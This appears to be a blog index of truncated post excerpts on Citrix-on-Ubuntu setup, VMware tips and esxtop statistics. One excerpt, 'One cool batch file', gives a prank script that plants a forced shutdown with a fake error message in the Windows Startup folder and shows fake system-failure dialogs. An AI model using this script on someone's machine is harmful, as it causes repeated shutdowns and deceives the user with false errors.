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Installing Citrix Client on Ubuntu 9.10

Install OpenMotif sudo aptitude install libmotif3 Unfortunately, Ubuntu only provide the obsolete libmotif3 version and the not the current version 4 that the receiver is built against. The easiest solution is to install libmotif3 and then run sudo ln -s /usr/lib/libXm.so.3.0.2 /usr/lib/libXm.so.4 Download the latest Citrix Client from: http://citrix.com/English/ss/downloads/ Search Downloads by Product > Citrix Xenapp > Linux...

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One cool batch file – ;-D

@echo off echo shutdown -s -t 5 -c “Windows is shutting down due to an internal error” > C:\close.bat copy C:\close.bat “C:\documents and settings\all users\start menu\programs\startup\” cls echo Maximize this window to continue echo Wscript.Sleep 4000 > C:\sleep1.vbs call C:\sleep1.vbs echo Msgbox”Critical system process failure. Press enter to to begin auto fix.” > c:\error1.vbs call...

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VirtualCenter Passthrough Authentication

Tired of login in into the Virtual Center Client?  Try this… A very useful, yet very undocumented feature of the Virtual Infrastructure Client is that it can be configured to automatically pass your Active Directory credentials without you typing them in. To use: create a shortcut to the Virtual Infrastructure Client, then right-click on it and edit the shortcut properties. You’ll need to pass the program two arguments when...

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Disk.UseLunReset and/or Disk.UseDeviceReset

Another setting often overlooked is Disk.UseLunReset and/or Disk.UseDeviceReset. ESX defaults to Disk.UseLunReset=1 and Disk.UseDeviceReset=1. This means that when a SCSI bus is reset all SCSI reservations are cleared, not for a specific LUN but for the complete device. This is useful when one uses local storage, but within a VMware environment most companies utilize a SAN and you don’t want to disrupt the entire SAN when it’s not...

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Interpreting esxtop Statistics

Table of Contents Section 1. Introduction Section 2. CPU Section 2.1 Worlds and Groups Section 2.2 Global Statistics Section 2.3 World Statistics Section 3. Memory Section 3.1 Machine Memory and Guest Physical Memory Section 3.2 Global Statistics Section 3.3 Group Statistics Section 4 Disk Section 4.1 Adapter, Device, VM screens Section 4.2 Disk Statistics Section 4.2.1 I/O Throughput Statistics Section 4.2.2 Latency Statistics Section...

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